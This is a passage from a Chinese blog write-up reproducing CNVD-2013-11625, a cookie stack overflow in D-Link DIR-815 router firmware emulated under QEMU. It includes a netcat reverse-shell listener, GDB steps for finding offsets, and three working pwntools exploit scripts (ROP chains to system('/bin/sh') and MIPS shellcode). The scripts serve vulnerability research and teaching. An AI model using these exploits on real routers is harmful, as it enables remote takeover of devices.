class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这两个 poc 都设置了反弹 shell，反弹的 IP 地址为宿主机 192.168.2.1，端口号为 8888</p><p>为了接收反弹 shell，首先<strong>在宿主机开启一个监听</strong>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">nc</span> <span class="token parameter variable">-lvnp</span> <span class="token number">8888</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B042.png" alt="CNVD-2013-11625复现42.png"></p><p>从上面两个 poc 脚本之中选择一个，我这里以第一个 poc 为例：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B045.png" alt="CNVD-2013-11625复现45.png"></p><p>可以看到反弹 shell 初始目录位于 <code>/htdocs/web</code>，我们仍然是 root 权限用户</p><p>到此为止，漏洞复现成功！</p><hr><h3 id="QEMU-用户级复现"><a href="#QEMU-用户级复现" class="headerlink" title="QEMU 用户级复现"></a>QEMU 用户级复现</h3><blockquote><p><strong>QEMU 用户级层面的漏洞复现不需要进行仿真</strong>，但相比之下，需要进行仿真的系统级复现更加直观、更符合现实场景，这里主要是介绍 QEMU 用户级层面的漏洞复现方式</p></blockquote><h4 id="漏洞分析-1"><a href="#漏洞分析-1" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>首先打开<strong>宿主机</strong>的路由器文件系统根目录</p><p>生成 2000 个字符的 payload 文件，用来测试 <code>uid</code> 溢出到栈上返回地址所需的字节数：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">cyclic <span class="token number">2000</span> <span class="token operator">></span> payload<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>创建以下 <code>run.sh</code> 脚本，通过 QEMU 用户模式启动 <code>/htdocs/cgibin</code> 程序：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span> <span class="token assign-left variable">INPUT</span><span class="token operator">=</span><span class="token string">"winmt=pwner"</span><span class="token assign-left variable">LEN</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span><span class="token builtin class-name">echo</span> <span class="token parameter variable">-n</span> <span class="token string">"<span class="token variable">$INPUT</span>"</span> <span class="token operator">|</span> <span class="token function">wc</span> <span class="token parameter variable">-c</span><span class="token variable">)</span></span><span class="token assign-left variable">cookie</span><span class="token operator">=</span><span class="token string">"uid=<span class="token variable"><span class="token variable">`</span><span class="token function">cat</span> payload<span class="token variable">`</span></span>"</span><span class="token builtin class-name">echo</span> <span class="token variable">$INPUT</span> <span class="token operator">|</span> qemu-mipsel-static <span class="token parameter variable">-L</span> ./ <span class="token parameter variable">-0</span> <span class="token string">"hedwig.cgi"</span> <span class="token parameter variable">-E</span> <span class="token assign-left variable">REQUEST_METHOD</span><span class="token operator">=</span><span class="token string">"POST"</span> <span class="token parameter variable">-E</span> <span class="token assign-left variable">CONTENT_LENGTH</span><span class="token operator">=</span><span class="token variable">$LEN</span> <span class="token parameter variable">-E</span> <span class="token assign-left variable">CONTENT_TYPE</span><span class="token operator">=</span><span class="token string">"application/x-www-form-urlencoded"</span> <span class="token parameter variable">-E</span> <span class="token assign-left variable">HTTP_COOKIE</span><span class="token operator">=</span><span class="token variable">$cookie</span> <span class="token parameter variable">-E</span> <span class="token assign-left variable">REQUEST_URI</span><span class="token operator">=</span><span class="token string">"2333"</span> <span class="token parameter variable">-g</span> <span class="token number">1234</span> ./htdocs/cgibin<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这里通过 <code>-g 1234</code> 在 1234 端口开启了 gdbserver 监听，<code>cat payload</code> 可以将 <code>payload</code> 文件中的内容读到 <code>uid=</code> 之后，<code>echo $INPUT |</code> 可以做到 POST 的效果，<code>-0</code> 就是 <code>argv[0]</code>，<code>-E</code> 是设置环境变量</p><p>然后执行 <code>run.sh</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B046.png" alt="CNVD-2013-11625复现46.png"></p><p>可以看到本机开启了 1234 端口：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B047.png" alt="CNVD-2013-11625复现47.png"></p><p>然后使用本机的 <code>gdb-multiarch</code> 连接 gdbserver：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">gdb-multiarch<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> <span class="token builtin class-name">set</span> architecture mips<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> target remote <span class="token number">127.0</span>.0.1:1234<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B048.png" alt="CNVD-2013-11625复现48.png"></p><p>但是发现 <strong>QEMU 用户模式连上 pwndbg 时，<code>vmmap</code> 无法看到 libc 的基地址</strong>：（libc 直接不显示，而是显示 <code>&lt;explored&gt;</code>）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> b main<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> c<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> vmmap<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B049.png" alt="CNVD-2013-11625复现49.png"></p><p><em>因此利用 Linux 的延迟绑定机制，当一个函数在第二次及以后被调用的时候，就会直接跳转到其相应的 <code>libc</code> 地址（真实地址）</em></p><blockquote><p>如果对延迟绑定这一块不太了解，详见本站的《<a href="29133b28.html">PLT表和GOT表</a>》一文 </p></blockquote><p>我们在 IDA 下找两次跳转到同一个 libc 函数的地方，例如 <code>hedwigcgi_main()</code> 函数中：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B050.png" alt="CNVD-2013-11625复现50.png"></p><p>然后把 GDB 断点设置在这里：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> b *0x4094C8<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> c<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B051.png" alt="CNVD-2013-11625复现51.png"></p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> b *0x4094E4<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> c<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B052.png" alt="CNVD-2013-11625复现52.png"></p><p>获得 <code>memset()</code> 函数的真实地址为：<code>0x2b333a20</code></p><p>在路由器文件系统的 <code>/lib</code> 文件夹内，找到其所使用的 libc 文件：<code>libc.so.0</code></p><p>利用 <code>objdump</code> 查找 <code>memset()</code> 函数的偏移地址：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">objdump <span class="token parameter variable">-T</span> ./libc.so.0 <span class="token operator">|</span> <span class="token function">grep</span> memset<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B053.png" alt="CNVD-2013-11625复现53.png"></p><p>获得 <code>memset()</code> 函数的 libc 偏移为：<code>0x34a20</code></p><p>则 libc 基地址为：<code>0x2b333a20 - 0x34a20 = 0x2b2ff000</code>（如果计算结果最后三位不是 <code>000</code> 的话，那就说明算错了）</p><p>接下来就是 GDB 执行到 <code>hedwigcgi_main()</code> 函数结束将要返回的地方，观察返回地址来确定溢出的长度：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B037.png" alt="CNVD-2013-11625复现37.png"></p><p>不过我们 GDB 现在就是处在 <code>hedwigcgi_main()</code> 函数中，因此也可以直接运行到当前函数退出：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> finish<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B054.png" alt="CNVD-2013-11625复现54.png"></p><p>显示返回地址 <code>0x646b6161</code> 不合法，<code>cyclic -l</code> 得到溢出到返回地址的长度为 1009</p><h4 id="向用户态-QEMU-传递-payload-参数"><a href="#向用户态-QEMU-传递-payload-参数" class="headerlink" title="向用户态 QEMU 传递 payload 参数"></a>向用户态 QEMU 传递 payload 参数</h4><blockquote><p>由于 QEMU 用户级复现不需要仿真，我们只需要用 <code>qemu-mipsel-static</code> 运行 <code>/htdocs/cgibin</code> 程序，然后将 payload 作为参数传递</p></blockquote><p>poc 如下：</p><ol><li>纯 ROP 链，即构造 <code>system(&quot;/bin/sh&quot;)</code> 来 getshell</li></ol><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">(</span>os <span class="token operator">=</span> <span class="token string">'linux'</span><span class="token punctuation">,</span> arch <span class="token operator">=</span> <span class="token string">'mips'</span><span class="token punctuation">,</span> log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token punctuation">)</span> libc_base <span class="token operator">=</span> <span class="token number">0x2b2ff000</span>   <span class="token comment"># 根据自己调试的基地址来更改</span> payload <span class="token operator">=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x3cd</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x53200</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment"># s0  system_addr - 1</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x159F4</span><span class="token punctuation">)</span> <span class="token comment"># s1  move $t9, $s0 (=> jalr $t9)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">4</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x6DFD0</span><span class="token punctuation">)</span> <span class="token comment"># s3  /bin/sh</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x32A98</span><span class="token punctuation">)</span> <span class="token comment"># s6  addiu $s0, 1 (=> jalr $s1)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x13F8C</span><span class="token punctuation">)</span> <span class="token comment"># ra  move $a0, $s3 (=> jalr $s6)</span> payload <span class="token operator">=</span> <span class="token string">b"uid="</span> <span class="token operator">+</span> payloadpost_content <span class="token operator">=</span> <span class="token string">"winmt=pwner"</span>io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token triple-quoted-string string">b"""    qemu-mipsel-static -L ./ \    -0 "hedwig.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH=11 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE=\"""</span><span class="token string">" + payload + b"</span><span class="token string">""</span>\" \    <span class="token operator">-</span>E REQUEST_URI<span class="token operator">=</span><span class="token string">"2333"</span> \    <span class="token punctuation">.</span><span class="token operator">/</span>htdocs<span class="token operator">/</span>cgibin<span class="token string">""</span>"<span class="token punctuation">,</span> shell <span class="token operator">=</span> <span class="token boolean">True</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>send<span class="token punctuation">(</span>post_content<span class="token punctuation">)</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这个 poc 是 <a href="https://bbs.kanxue.com/user-home-949925.htm">winmt</a> 大佬提供的，但是实测是打不通的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B055.png" alt="CNVD-2013-11625复现55.png"></p><blockquote><p><strong>这里 <a href="https://bbs.kanxue.com/user-home-949925.htm">winmt</a> 大佬本人也说是打不通的</strong></p><p>说是这个脚本的 <code>ROP</code> 链构造没什么问题，<strong>但是在用户模式下是打不通的</strong>，因为 <code>system()</code> 函数中有调用 <code>fork()</code> 函数，而 QEMU 用户模式是不支持多线程的，这里 <code>fork()</code> 的失败，会导致后面 <code>$fp</code> 是个空指针，就会出错，在系统模式打就不会出问题</p><p><mark>后来，我解决了这个 poc 无法 getshell 的问题，我发现问题在于 <code>b&#39;/bin/sh&#39;</code> 的偏移地址错误，当然 <a href="https://bbs.kanxue.com/user-home-949925.htm">winmt</a> 大佬的问题可能与 QEMU 版本有关，因为 <a href="https://bbs.kanxue.com/user-home-949925.htm">winmt</a> 大佬使用的是 <code>qemu-mipsel</code> 而我的是 <code>qemu-mipsel-static</code>，同时我和 <a href="https://bbs.kanxue.com/user-home-949925.htm">winmt</a> 的 libc 基地址也是不一样的</mark></p></blockquote><p>调试一下，将 <code>poc.py</code> 的启动命令加上 <code>-g 1234</code>：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token triple-quoted-string string">b"""    qemu-mipsel-static -L ./ \    -0 "hedwig.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH=11 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE=\"""</span><span class="token string">" + payload + b"</span><span class="token string">""</span>\" \    <span class="token operator">-</span>E REQUEST_URI<span class="token operator">=</span><span class="token string">"2333"</span> \    <span class="token operator">-</span>g <span class="token number">1234</span> \    <span class="token punctuation">.</span><span class="token operator">/</span>htdocs<span class="token operator">/</span>cgibin<span class="token string">""</span>"<span class="token punctuation">,</span> shell <span class="token operator">=</span> <span class="token boolean">True</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>GDB 连接后，我们直接进到漏洞函数 <code>hedwigcgi_main()</code> 中：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">gdb-multiarch<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> <span class="token builtin class-name">set</span> architecture mips<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> target remote <span class="token number">127.0</span>.0.1:1234<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> b *0x409480<span class="token punctuation">(</span>gdb-multiarch<span class="token punctuation">)</span> c<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后一路 <code>ni</code> 检查，发现前面都没有问题，最后 GDB 卡在这个地方：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B058.png" alt="CNVD-2013-11625复现58.png"></p><p>报了一个警告，并且无法再继续调试：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">warning: GDB can<span class="token string">'t find the start of the function at 0x2b312f8b.    GDB is unable to find the start of the function at 0x2b312f8band thus can'</span>t determine the size of that <span class="token keyword">function</span><span class="token string">'s stack frame.This means that GDB may be unable to access that stack frame, orthe frames below it.    This problem is most likely caused by an invalid program counter orstack pointer.    However, if you think GDB should simply search farther backfrom 0x2b312f8b for code which looks like the beginning of afunction, you can increase the range of the search using the `setheuristic-fence-post'</span> command.<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>但是考虑到我们 <code>ni</code> 单步调试的时候，前面两个 <code>sprintf()</code> 函数的执行都是没有问题的，这就有点奇怪</p><p>后来我在检查各个函数和 gadget 的地址的时候：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B056.png" alt="CNVD-2013-11625复现56.png"></p><p>我这里的 libc 基地址是 <code>0x2b2ff000</code>，发现 <code>system()</code> 函数的地址是没问题的</p><p>但是原本应该是 <code>b&#39;/bin/sh&#39;</code> 的地址却出现了很奇怪的 <code>b&#39;H\2245+\234\3025+&#39;</code>，但我就记得这个字符串很眼熟：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B059.png" alt="CNVD-2013-11625复现59.png"></p><p>这就是我们刚刚使用 poc 打失败的时候报的错误：<code>sh: 1: H\x945+\x9c\xc25+: not found</code></p><p>所以问题很明显了：<code>system()</code> 地址是对的，<code>system()</code> 的传参也是对的，但是参数不是 <code>&quot;/bin/sh&quot;</code></p><p>搜索 <code>b&#39;/bin/sh&#39;</code> 发现真正的地址应该是 0x2b359448，于是利用 ROPgadget 查一下 libc 中 <code>b&#39;/bin/sh&#39;</code> 的偏移，发现是 0x5a448：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B060.png" alt="CNVD-2013-11625复现60.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B057.png" alt="CNVD-2013-11625复现57.png"></p><p>修改一下 poc 中 <code>b&#39;/bin/sh&#39;</code> 的偏移，新的 poc 如下：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">(</span>os <span class="token operator">=</span> <span class="token string">'linux'</span><span class="token punctuation">,</span> arch <span class="token operator">=</span> <span class="token string">'mips'</span><span class="token punctuation">,</span> log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token punctuation">)</span> libc_base <span class="token operator">=</span> <span class="token number">0x2b2ff000</span>   <span class="token comment"># 根据自己调试的基地址来更改</span> payload <span class="token operator">=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x3cd</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x53200</span> <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">)</span> <span class="token comment"># s0  system_addr - 1</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x159F4</span><span class="token punctuation">)</span> <span class="token comment"># s1  move $t9, $s0 (=> jalr $t9)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">4</span><span class="token comment"># payload += p32(libc_base + 0x6DFD0) # s3  /bin/sh</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x0005a448</span><span class="token punctuation">)</span> <span class="token comment"># s3  /bin/sh  原 poc 的偏移是错误的</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x32A98</span><span class="token punctuation">)</span> <span class="token comment"># s6  addiu $s0, 1 (=> jalr $s1)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">2</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x13F8C</span><span class="token punctuation">)</span> <span class="token comment"># ra  move $a0, $s3 (=> jalr $s6)</span> payload <span class="token operator">=</span> <span class="token string">b"uid="</span> <span class="token operator">+</span> payloadpost_content <span class="token operator">=</span> <span class="token string">"winmt=pwner"</span>io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token triple-quoted-string string">b"""    qemu-mipsel-static -L ./ \    -0 "hedwig.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH=11 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE=\"""</span><span class="token string">" + payload + b"</span><span class="token string">""</span>\" \    <span class="token operator">-</span>E REQUEST_URI<span class="token operator">=</span><span class="token string">"2333"</span> \    <span class="token punctuation">.</span><span class="token operator">/</span>htdocs<span class="token operator">/</span>cgibin<span class="token string">""</span>"<span class="token punctuation">,</span> shell <span class="token operator">=</span> <span class="token boolean">True</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>send<span class="token punctuation">(</span>post_content<span class="token punctuation">)</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后再次运行 poc：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B061.png" alt="CNVD-2013-11625复现61.png"></p><p>成功！</p><ol start="2"><li>通过 shellcode 来 getshell（由于 MIPS 架构是无法开启 NX 保护的，因此可以使用 <code>ret2shellcode</code>，但需要注意 <code>shellcode</code> 中不能存在 <code>b&#39;\x00&#39;</code> 等字符防止导致 <code>sprintf</code> 被截断）</li></ol><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span>context<span class="token punctuation">(</span>os <span class="token operator">=</span> <span class="token string">'linux'</span><span class="token punctuation">,</span> arch <span class="token operator">=</span> <span class="token string">'mips'</span><span class="token punctuation">,</span> log_level <span class="token operator">=</span> <span class="token string">'debug'</span><span class="token punctuation">)</span> libc_base <span class="token operator">=</span> <span class="token number">0x2b2ff000</span>   <span class="token comment"># 根据自己调试的基地址来更改</span> payload <span class="token operator">=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x3cd</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">4</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x436D0</span><span class="token punctuation">)</span> <span class="token comment"># s1  move $t9, $s3 (=> lw... => jalr $t9)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">4</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x56BD0</span><span class="token punctuation">)</span> <span class="token comment"># s3  sleep</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">5</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x57E50</span><span class="token punctuation">)</span> <span class="token comment"># ra  li $a0, 1 (=> jalr $s1)</span> payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x18</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token punctuation">(</span><span class="token number">4</span><span class="token operator">*</span><span class="token number">4</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x37E6C</span><span class="token punctuation">)</span> <span class="token comment"># s4  move  $t9, $a1 (=> jalr $t9)</span>payload <span class="token operator">+=</span> p32<span class="token punctuation">(</span>libc_base <span class="token operator">+</span> <span class="token number">0x3B974</span><span class="token punctuation">)</span> <span class="token comment"># ra  addiu $a1, $sp, 0x18 (=> jalr $s4)</span> shellcode <span class="token operator">=</span> asm<span class="token punctuation">(</span><span class="token triple-quoted-string string">'''    slti $a2, $zero, -1    li $t7, 0x69622f2f    sw $t7, -12($sp)    li $t6, 0x68732f6e    sw $t6, -8($sp)    sw $zero, -4($sp)    la $a0, -12($sp)    slti $a1, $zero, -1    li $v0, 4011    syscall 0x40404'''</span><span class="token punctuation">)</span>payload <span class="token operator">+=</span> <span class="token string">b'a'</span><span class="token operator">*</span><span class="token number">0x18</span>payload <span class="token operator">+=</span> shellcode payload <span class="token operator">=</span> <span class="token string">b"uid="</span> <span class="token operator">+</span> payloadpost_content <span class="token operator">=</span> <span class="token string">"winmt=pwner"</span>io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token triple-quoted-string string">b"""    qemu-mipsel-static -L ./ \    -0 "hedwig.cgi" \    -E REQUEST_METHOD="POST" \    -E CONTENT_LENGTH=11 \    -E CONTENT_TYPE="application/x-www-form-urlencoded" \    -E HTTP_COOKIE=\"""</span><span class="token string">" + payload + b"</span><span class="token string">""</span>\" \    <span class="token operator">-</span>E REQUEST_URI<span class="token operator">=</span><span class="token string">"2333"</span> \    <span class="token punctuation">.</span><span class="token operator">/</span>htdocs<span class="token operator">/</span>cgibin<span class="token string">""</span>"<span class="token punctuation">,</span> shell <span class="token operator">=</span> <span class="token boolean">True</span><span class="token punctuation">)</span>io<span class="token punctuation">.</span>send<span class="token punctuation">(</span>post_content<span class="token punctuation">)</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>运行 poc：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CNVD-2013-11625%E5%A4%8D%E7%8E%B062.png" alt="CNVD-2013-11625复现62.png"></p><p>直接一发入魂！</p>]]></content>
    
    
    <summary type="html">这是第一篇 CVE 复现文章，关于 DIR-815 等路由器的栈溢出漏洞，需要用到 MIPS 架构的 ROP，收获不少，同时也解决了 winmt 大佬的 PoC 无法 getshell 的问题，很适合作为 CVE 复现入门</summary>
    
    
    
    <category term="CVE复现" scheme="https://www.uf4te.cn/categories/CVE%E5%A4%8D%E7%8E%B0/"/>
    
    
    <category term="CVE" scheme="https://www.uf4te.cn/tags/CVE/"/>
    
    <category term="QEMU" scheme="https://www.uf4te.cn/tags/QEMU/"/>
    
    <category term="GDB" scheme="https://www.uf4te.cn/tags/GDB/"/>
    
    <category term="IoT" scheme="https://www.uf4te.cn/tags/IoT/"/>
    
  </entry>
  
  <entry>
    <title>IoT环境搭建与固件分析</title>
    <link href="https://www.uf4te.cn/posts/e9324890.html"/>
    <id>https://www.uf4te.cn/posts/e9324890.html</id>
    <published>2024-06-07T03:47:53.000Z</published>
    <updated>2025-11-12T15:08:52.000Z</updated>
    
